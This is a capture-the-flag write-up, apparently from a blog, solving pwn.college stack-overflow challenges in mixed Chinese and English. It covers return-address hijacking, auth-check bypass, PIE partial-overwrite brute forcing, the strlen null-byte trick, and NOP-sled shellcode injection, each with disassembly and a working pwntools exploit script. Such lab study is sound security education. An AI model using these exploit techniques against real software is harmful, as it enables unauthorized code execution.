r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-var-control

Key parts of sym.challenge:

1
2
3
4
5
6
7
8
9
10
11
12
; buffer init: rep stosq with ecx=0xb (11), 11*8=88 bytes
0x00402331      488d5590       lea rdx, [format]            ; buffer start
0x0040233a      b90b000000     mov ecx, 0xb                 ; 11 iterations
0x00402342      f348ab         rep stosq qword [rdi], rax   ; memset(buf, 0, 88)
; ...
; read into buffer at [format] = rbp - 0x70
; ...
; lose check @ [rbp - 0x18]
0x004023c0      8b45e8         mov eax, dword [var_18h]
; win check @ [rbp - 0x1c], must equal 0x16630978
0x004023dd      8b45e4         mov eax, dword [var_1ch]
0x004023e0      3d78096316     cmp eax, 0x16630978
1
2
3
4
>>> 88 + 0x18   # buffer size + lose offset from end
112
>>> 112 - 0x1c  # distance to win variable
84
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-var-control')
padding = b'A' * 84
win_val = p32(0x16630978)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************W}

Control Hijack (easy)

No win variable. Overflow return address to jump to win() at 0x401e1d. Buffer starts 88 bytes before return address. Canary disabled, no PIE.

1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-w')
padding = b'A' * 59 + b'B' * 29  # 88 bytes to reach return address
win_val = p32(0x401e1d)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Control Hijack (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/binary-exploitation-control-hijack

Key parts of sym.challenge:

1
2
3
4
5
6
; buf -> rbp - 0x60
0x00401e5d      488d45a0       lea rax, [buf]
0x00401e61      4889c6         mov rsi, rax        ; read into buf
; ...
0x00401eb4      c9             leave
0x00401eb5      c3             ret

sym.win 入口: 0x00401cb9

在 x86_64 架构下，当一个函数被调用时，返回地址 (Return Address) 压入栈中。溢出覆盖返回地址为 sym.win，当 sym.challenge 执行 ret 时 CPU 跳去执行 win 函数。这叫 Ret2Win。

  1. 输入缓冲区起点: rbp - 0x60

use r2 -A to analyze, default asm.var = true, visual mode shows variable names

  1. 到达返回地址的距离:
    • 覆盖局部变量: 96 字节 到达 rbp
    • 跨过 Saved RBP: 8 字节
    • Padding = 96 + 8 = 104 字节
  2. sym.win 入口: 0x00401cb9
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack')
padding = b'A' * 96 + b'B' * 8
win_val = p32(0x401cb9)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Tricky Control Hijack (easy)

win_authed(int token) requires token == 0x1337, but we can bypass the check by jumping past it.

Buffer 31 bytes, return address 56 bytes after buffer. Canary disabled, no PIE.

1
r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2-w
1
2
3
4
0x00402031      817dfc3713..   cmp dword [var_4h], 0x1337
0x00402038      0f85fe000000   jne 0x40213c
; jump past the check to here:
0x0040203e      488d3dab10..   lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-2-w')
padding = b'A' * 31 + b'B' * 25  # 56 bytes
win_val = p32(0x0040203e)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Tricky Control Hijack (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2
1
2
3
4
5
6
7
8
; sym.challenge: buf -> rbp - 0x40
0x0040157d      488d45c0       lea rax, [buf]

; sym.win_authed: jump past auth check
0x00401401      817dfc3713..   cmp dword [var_4h], 0x1337
0x00401408      0f85fe000000   jne 0x40150c
; ret to here:
0x0040140e      488d3df30b..   lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-2')
padding = b'A' * 0x40 + b'B' * 8
win_val = p32(0x0040140e)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

PIEs (easy)

Position Independent Executable -- Partial Overwrite

1. PIE 与内存分页 (Memory Paging)

开启了 PIE，Kernel 会在每次执行时，把 binary 塞到内存中一个完全随机的位置 (ASLR)。

但 Kernel 按 Page (页) 管理内存：

  • 一个 Memory Page = 0x1000 bytes (4KB)
  • 基址 (Base Address) 永远是 0x1000 的倍数
  • 最后三个 nibbles 永远是 000（例如 0x5f7be1ec2000）

2. 偏移量 (Offset) 不变

虽然基址在变，但 win() 在 binary 内部的相对位置 (Offset) 编译时就决定了。 假设 win() offset 为 0x1337：

  • 基址 0x5f7be1ec2000 -> win() = 0x5f7be1ec3337
  • 基址 0x6513a3b67000 -> win() = 0x6513a3b68337

最后三个 nibbles (337) 不变。

3. Partial Overwrite 与 Little-Endian

Little-Endian 下 Return Address 最低有效字节在最低地址，溢出时从最低字节开始覆盖：

  1. 改 1 字节 (2 nibbles): 不受 ASLR 影响，100% 成功。
  2. 改 2 字节 (4 nibbles): 前 3 nibbles 固定，第 4 nibble 随机。一个 nibble 16 种可能，每次 \(\frac{1}{16}\) 概率。

跑 \(n\) 次至少成功一次：

\[P = 1 - \left(\frac{15}{16}\right)^n\]

  • 跑 11 次 \(\approx\) 50%
  • 跑 36 次 \(\approx\) 90%
1
r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow-w
1
2
3
; buf -> rbp - 0x40, return address at rbp + 8, padding = 0x40 + 8 = 72 bytes
; jump past auth check:
0x00001a2b      488d3dbe16..   lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-pie-overflow-w"
padding = b"A" * 0x40 + b"B" * 8

for count in itertools.count():
    p = process(binary_path)
    payload = padding + p16(0x1A2B)
    p.send(payload)
    output = p.clean(timeout=0.114514)

    if b"pwn.college{" in output:
        print(f"[+] Try {count}")
        print(output.decode('utf-8', errors='ignore'))
        p.close()
        break
    p.close()

pwn.college{*******************************************}

PIEs (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow
1
2
3
4
5
6
7
8
; sym.challenge: buf -> rbp - 0x90
0x00001ee3      488d8570ff..   lea rax, [buf]

; sym.win_authed: jump past auth check
0x00001cfb      817dfc3713..   cmp dword [var_4h], 0x1337
0x00001d02      0f85fe000000   jne 0x1e06
; ret to here -> 0x1d08
0x00001d08      488d3df912..   lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-pie-overflow"
padding = b"A" * 0x90 + b"B" * 8

for count in itertools.count():
    p = process(binary_path)
    payload = padding + p16(0x1d08)
    p.send(payload)
    output = p.clean(timeout=0.114514)

    if b"pwn.college{" in output:
        print(f"[+] Try {count}")
        print(output.decode('utf-8', errors='ignore'))
        p.close()
        break
    p.close()

pwn.college{*******************************************}

String Lengths (easy)

Buffer 120 bytes, return address 168 bytes after buffer. PIE enabled, canary disabled.

Challenge uses strlen() to validate input length before copying to stack. But strlen() stops at the first \x00 (Null Byte).

在 C 语言中，字符串以 \x00 结尾。strlen() 碰到第一个 \x00 就停止计数。 在 payload 开头放一个 \x00，strlen() 判定长度为 0，绕过长度检查。

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write-w
1
2
3
4
5
6
7
; string_length < 120 assertion
0x00002b62      488d3d6d13..   lea rdi, str.string_length___120

; win_authed: jump past auth check -> 0x00002522
0x00002515      817dfc3713..   cmp dword [var_4h], 0x1337
0x0000251c      0f85fe000000   jne 0x2620
0x00002522      488d3dc70b..   lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-null-write-w"
padding = b"\x00" + b"A" * 167  # 168 bytes total (null + 167 padding)

for count in itertools.count():
    p = process(binary_path)
    payload = padding + p16(0x2522)
    p.send(payload)
    output = p.clean(timeout=0.114514)

    if b"pwn.college{" in output:
        print(f"[+] Try {count}")
        print(output.decode('utf-8', errors='ignore'))
        p.close()
        break
    p.close()

pwn.college{*******************************************}

String Lengths (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write
1
2
3
4
5
6
7
8
9
10
11
; sym.challenge:
; malloc tmp buffer, read into it, strlen check, then memcpy to stack
; buf on stack -> s1 = rbp - 0xa0
0x00001607      488d8560ff..   lea rax, [s1]
; string_length < 113 assertion (0x70 = 112, jbe means <= 112)
0x000015f1      488d3d7e0b..   lea rdi, str.string_length___113

; win_authed: jump past auth -> 0x000013ad
0x000013a0      817dfc3713..   cmp dword [var_4h], 0x1337
0x000013a7      0f85fe000000   jne 0x14ab
0x000013ad      488d3d540c..   lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-null-write"
# 0xa0 + 8 - 1 = 167 bytes after null
padding = b"\x00" + b"A" * 167

for count in itertools.count():
    p = process(binary_path)
    payload = padding + p16(0x13ad)
    p.send(payload)
    output = p.clean(timeout=0.114514)

    if b"pwn.college{" in output:
        print(f"[+] Try {count}")
        print(output.decode('utf-8', errors='ignore'))
        p.close()
        break
    p.close()

pwn.college{*******************************************W}

Basic Shellcode

Shellcode copied onto stack and executed. Stack location randomized, so shellcode must be position-independent.

1
2
3
4
5
6
7
8
9
from pwn import *

context.update(arch="amd64", os="linux")

p = process("/challenge/binary-exploitation-basic-shellcode")
p.send(asm(shellcraft.cat("/flag")))
p.interactive()

# pwn.college{*******************************************}

NOP Sleds

NOP (No Operation) opcode \x90：什么都不做，仅把 RIP 向前移动一个字节。

NOP Sled 在 Shellcode 前铺上大量 \x90。跳到这片区域的任意位置，CPU 就会顺着一路"滑"到 Shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-nopsled-shellcode')

nop_sled = b'\x90' * 2048
shellcode = asm(shellcraft.cat('/flag'))
payload = (nop_sled + shellcode).ljust(4096, b'\x90')

p.send(payload)
p.interactive()

# pwn.college{*******************************************}

NULL-Free Shellcode

Same as prev, pwntools shellcraft.cat is already null-free.

pwn.college{*******************************************}

Hijack to (Mapped) Shellcode (easy)

Two-stage: first send shellcode to mmap'd region, then overflow return address to jump there. Buffer 112 bytes, canary disabled.

Shellcode mapped at 0x2edca000. Padding to return address = 137 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import time

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode-w')

# Stage 1: send shellcode
shellcode = asm(shellcraft.cat('/flag'))
p.send(shellcode.ljust(4096, b'\x90'))
time.sleep(0.5)

# Stage 2: overflow return address
padding = b'A' * 137
p.send(padding + p64(0x2edca000))
p.interactive()

# pwn.college{*******************************************}

Hijack to (Mapped) Shellcode (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-mmap-shellcode
1
2
3
4
5
6
7
8
9
; mmap shellcode at fixed address 0x178d0000
0x0000153c      bf00008d17     mov edi, 0x178d0000
0x00001541      e8bafbffff     call sym.imp.mmap
; ...
; getchar() waits for newline between shellcode read and overflow read
0x000015f9      e842fbffff     call sym.imp.getchar
; ...
; buf -> rbp - 0x30, padding = 0x30 + 8 = 56 bytes
0x00001622      488d45d0       lea rax, [buf]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import time

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode')

# Stage 1: send shellcode
shellcode = asm(shellcraft.cat('/flag'))
p.send(shellcode.ljust(4096, b'\x90'))
time.sleep(0.5)

# Stage 2: press enter for getchar()
p.sendline()
time.sleep(0.5)

# Stage 3: overflow return address
padding = b'A' * 48 + b'B' * 8
p.send(padding + p64(0x178d0000))
p.interactive()

# pwn.college{*******************************************}

Hijack to Shellcode (easy)

Buffer 102 bytes, return address 136 bytes after buffer. ASLR disabled, stack executable, canary disabled, no PIE.

Stack addresses are fixed: buffer at 0x7fffffffd1a0, return address at 0x7fffffffd228.

NOP Sled 的必要性

通过 pwntools 的 process() 跑程序和直接在 bash 里跑，传递的环境变量不同：

  • pwntools 可能带不同的 _ 变量、Python 继承的环境变量、argv[0] 路径长度不同
  • 环境变量占据空间变化导致栈指针偏移十几字节

用 \x90 NOP sled 铺在 shellcode 前面可以容忍这种偏移。

Stack Overlap / Self-Destruct

ret 后 RSP 上移 8 字节。如果 shellcode 紧贴返回地址，shellcode 中的 push 指令会往回覆盖自己的机器码（栈向下生长，push 减 RSP 写入数据）。

解决：用 padding 隔开 shellcode 和返回地址，让 shellcode 放在返回地址之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "error"

p = process("/challenge/binary-exploitation-hijack-to-shellcode-w")

target_address = 0x7FFFFFFFD1B0
offset = 136
nop_sled = b"\x90" * 32
shellcode = asm(shellcraft.cat("/flag"))
padding_len = offset - len(shellcode) - len(nop_sled)

# [NOP sled] + [Shellcode] + [Padding] + [RetAddr -> NOP sled]
payload = nop_sled + shellcode + (b"A" * padding_len) + p64(target_address)
p.send(payload)
p.interactive()

# pwn.college{*******************************************}

Hijack to Shellcode (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-shellcode
1
2
3
; buf -> rbp - 0x40, padding = 0x40 + 8 = 72 bytes
0x00401d22      488d45c0       lea rax, [buf]
0x00401d26      4889c6         mov rsi, rax        ; read into buf

Use GDB (with ASLR disabled) to find exact buffer address:

1
2
3
4
5
pwngdb /challenge/binary-exploitation-hijack-to-shellcode
unset env
break *0x00401d2e
run
# rsi (buf) = 0x00007fffffffdc70

buffer -> 0x00007fffffffdc70

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "error"

p = process("/challenge/binary-exploitation-hijack-to-shellcode", env={})

# target somewhere in the NOP sled after return address
target_address = 0x00007fffffffdd70
offset = 72  # 0x40 + 8
shellcode = asm(shellcraft.cat("/flag"))
nop_sled = b"\x90" * 2000

# [Padding] + [RetAddr] + [NOP sled] + [Shellcode]
payload = b"A" * offset + p64(target_address) + nop_sled + shellcode
p.send(payload)
p.interactive()

# pwn.college{*******************************************}
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE